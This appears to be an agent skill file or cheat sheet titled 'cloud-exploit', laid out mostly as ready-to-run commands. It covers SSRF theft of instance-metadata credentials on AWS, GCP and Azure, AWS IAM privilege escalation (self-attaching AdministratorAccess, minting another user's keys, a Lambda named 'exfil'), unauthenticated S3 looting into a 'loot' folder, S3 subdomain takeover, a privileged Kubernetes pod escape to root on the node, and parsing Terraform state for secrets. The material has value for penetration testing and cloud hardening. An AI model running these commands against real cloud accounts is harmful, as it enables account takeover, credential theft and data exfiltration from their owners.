---
name: cloud-exploit
description: Cloud exploitation — AWS IAM privilege escalation (21 Rhino primitives), IMDS/SSRF → credential pivot, S3 misconfiguration, Azure RBAC abuse, Kubernetes pod escape and RBAC, Terraform state leaks.
---

# Cloud Exploitation

Cloud environments have a distinct attack surface: misconfigured IAM permissions often provide direct paths to full account takeover without exploiting a single CVE.

**SSRF → cloud is the most common bug bounty chain.** IMDS (instance metadata service) returns IAM credentials that can then be used to escalate.

---

## 1. SSRF → Cloud Metadata (Bug Bounty)

```bash
# AWS IMDSv1 — vulnerable by default, widely found on bug bounty targets
# Test via SSRF:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Response: AccessKeyId, SecretAccessKey, Token

# AWS IMDSv2 — requires PUT request first (harder to exploit via SSRF)
# Step 1: Get token
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
# Step 2: Use token (harder to chain through simple SSRF)

# GCP metadata
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Requires header: Metadata-Flavor: Google

# Azure IMDS
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Requires header: Metadata: true

# After getting AWS keys — verify and use
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws iam get-user --query User.UserName --output text)
```

**Impact escalation path:**
```
SSRF → IMDSv1 → IAM Role credentials → 
    → List buckets → s3:GetObject on sensitive data  [High]
    → iam:* permissions → create admin user          [Critical]
    → Lambda invoke → RCE in cloud context           [Critical]
```

---

## 2. AWS IAM Privilege Escalation

### Identity Check

```bash
aws sts get-caller-identity
aws iam get-user
aws iam list-attached-user-policies --user-name ME
aws iam list-user-policies --user-name ME
aws iam list-groups-for-user --user-name ME

# For each policy ARN:
VID=$(aws iam get-policy --policy-arn ARN --query 'Policy.DefaultVersionId' --output text)
aws iam get-policy-version --policy-arn ARN --version-id $VID
```

### The 21 Privilege Escalation Primitives (Rhino Security Labs)

Any `Allow` on these permissions = potential escalation. Check each:

```
1.  iam:CreateAccessKey                # Create keys for another user
2.  iam:CreateLoginProfile             # Enable console access
3.  iam:UpdateLoginProfile             # Change another user's password
4.  iam:AttachUserPolicy               # Add AdministratorAccess to self
5.  iam:AttachGroupPolicy              # Add admin policy to own group
6.  iam:AttachRolePolicy               # Escalate via assumed role
7.  iam:PutUserPolicy                  # Inline policy escalation
8.  iam:PutGroupPolicy                 # Group inline policy
9.  iam:PutRolePolicy                  # Role inline policy
10. iam:CreatePolicyVersion            # New policy version with admin
11. iam:SetDefaultPolicyVersion        # Activate older policy version
12. iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
13. iam:PassRole + ec2:RunInstances    # Launch EC2 with priv role
14. iam:PassRole + ecs:RunTask         # ECS task with priv role
15. glue:CreateDevEndpoint             # Glue endpoint with priv role
16. cloudformation:CreateStack + iam:PassRole
17. lambda:UpdateFunctionCode          # Update existing priv Lambda
18. iam:AddUserToGroup                 # Join admin group
19. iam:UpdateAssumeRolePolicy         # Add self to trust policy
20. iam:CreateRole + sts:AssumeRole    # Create and assume priv role
21. sts:AssumeRole                     # Direct role assumption
```

```bash
# Quick check — any of these in your policies?
aws iam simulate-principal-policy \
    --policy-source-arn "arn:aws:iam::ACCOUNT:user/ME" \
    --action-names "iam:AttachUserPolicy" "iam:CreateAccessKey" "iam:PutUserPolicy" \
    --resource-arns "*" \
    --query 'EvaluationResults[?EvalDecision==`allowed`]'

# Automated enumeration
# pacu (open-source AWS exploitation framework)
pacu
run iam__enum_permissions
run iam__privesc_scan
```

### Common Quick Win Exploits

```bash
# iam:AttachUserPolicy → add AdministratorAccess to self
aws iam attach-user-policy \
    --user-name ME \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# iam:CreateAccessKey for another user
aws iam create-access-key --user-name admin_user
# → use the new keys: export AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=...

# iam:PassRole + lambda:CreateFunction → RCE with priv role
aws lambda create-function \
    --function-name exfil \
    --runtime python3.11 \
    --role arn:aws:iam::ACCOUNT:role/HIGH_PRIV_ROLE \
    --handler index.handler \
    --zip-file fileb://function.zip
aws lambda invoke --function-name exfil output.json
```

---

## 3. S3 Misconfiguration

```bash
# Check bucket policy (unauthenticated)
aws s3api get-bucket-policy --bucket BUCKET_NAME --no-sign-request

# List bucket contents (unauthenticated)
aws s3 ls s3://BUCKET_NAME --no-sign-request
aws s3 ls s3://BUCKET_NAME --recursive --no-sign-request | head -50

# Download sensitive files
aws s3 cp s3://BUCKET_NAME/config.json . --no-sign-request
aws s3 sync s3://BUCKET_NAME/backups/ ./loot/ --no-sign-request

# Search for secrets in bucket
aws s3 ls s3://BUCKET_NAME --recursive --no-sign-request | grep -iE "\.env|config|secret|key|pass|cred|backup"

# Subdomain takeover via S3 (bug bounty)
# 1. Find CNAME pointing to S3 (bucket doesn't exist or wrong region)
dig CNAME target.example.com
# 2. If bucket doesn't exist: create it with same name → serve malicious content
```

---

## 4. Kubernetes Exploitation

```bash
# Enumerate cluster from pod (post-initial access)
kubectl get pods -A
kubectl get secrets -A
kubectl get serviceaccounts -A
kubectl auth can-i --list   # what can current SA do?

# Read service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# Use token: kubectl --token="TOKEN" --server="https://kubernetes.default.svc" ...

# Pod escape — hostPath mount
# If pod can mount host filesystem:
kubectl exec -it PRIV_POD -- ls /host/
kubectl exec -it PRIV_POD -- chroot /host bash   # → root on node

# Create privileged pod (if create pods is allowed)
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: priv-escape
spec:
  containers:
  - name: pwn
    image: alpine
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
EOF
kubectl exec -it priv-escape -- chroot /host bash

# Kubeletctl — node-level access
kubeletctl exec -s NODE_IP -p POD_NAME -c CONTAINER -- /bin/bash

# RBAC misconfigs — dangerous permissions
kubectl auth can-i create pods --as system:anonymous
kubectl auth can-i get secrets --as system:anonymous
kubectl auth can-i escalate --subresource=*/clusterrolebindings
```

---

## 5. Terraform State Leaks

```bash
# Find exposed state files
# Common locations: S3 buckets, GitLab/GitHub CI artifacts, HTTP backends
aws s3 ls s3://BUCKET/ --no-sign-request | grep terraform.tfstate
aws s3 cp s3://BUCKET/terraform.tfstate . --no-sign-request

# Parse for secrets
cat terraform.tfstate | python3 -c "
import json, sys
state = json.load(sys.stdin)
for r in state.get('resources', []):
    for i in r.get('instances', []):
        attrs = i.get('attributes', {})
        for k, v in attrs.items():
            if any(s in k.lower() for s in ['password','secret','key','token','cred']):
                print(f'{r[\"type\"]}.{r[\"name\"]}.{k} = {v}')
"
```

---

## 6. Azure

```bash
# Enumerate tenant with credentials
az login
az account list
az role assignment list --all --query "[].{Principal:principalName,Role:roleDefinitionName,Scope:scope}"

# Check for Contributor/Owner on subscriptions (common overkill RBAC)
az role assignment list --all --query "[?roleDefinitionName=='Owner' || roleDefinitionName=='Contributor'].{Principal:principalName,Scope:scope}"

# Access managed identity token via IMDS (SSRF/RCE context)
curl -H "Metadata: true" \
    "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Storage account keys (Contributor → extract keys → full storage access)
az storage account keys list --account-name STORAGE_ACCOUNT --resource-group RG_NAME
```

---

## MITRE ATT&CK Mapping

| Technique | ID | Description |
|-----------|-----|-------------|
| Cloud Instance Metadata API | T1552.005 | IMDS credential theft |
| Valid Accounts: Cloud | T1078.004 | IAM key abuse |
| Cloud Infrastructure Discovery | T1580 | AWS CLI enumeration |
| Unsecured Credentials: Cloud Storage | T1552.001 | S3 bucket secrets |
| Kubernetes Escape | T1611 | Privileged container hostPath |
| Cloud Account Creation | T1136.003 | iam:CreateAccessKey privesc |
